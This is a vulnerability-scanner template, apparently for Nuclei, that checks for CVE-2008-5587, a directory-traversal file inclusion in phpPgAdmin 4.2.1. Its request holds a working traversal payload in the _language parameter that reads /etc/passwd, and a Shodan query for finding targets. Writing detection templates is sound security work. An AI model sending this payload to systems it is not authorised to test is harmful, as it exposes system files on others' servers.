id: CVE-2008-5587
info:
name: phpPgAdmin 4.2.1 - '_language' Local File Inclusion
author: dhiyaneshDK
severity: medium
description: Directory traversal vulnerability in libraries/lib.inc.php in phpPgAdmin 4.2.1 and earlier, when register_globals is enabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the _language parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/7363
- http://web.archive.org/web/20210121184707/https://www.securityfocus.com/bid/32670/
- http://secunia.com/advisories/33014
- http://secunia.com/advisories/33263
classification:
cve-id: CVE-2008-5587
metadata:
shodan-query: http.title:"phpPgAdmin"
tags: cve2008,lfi,phppgadmin
requests:
- method: GET
path:
- '{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00'
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
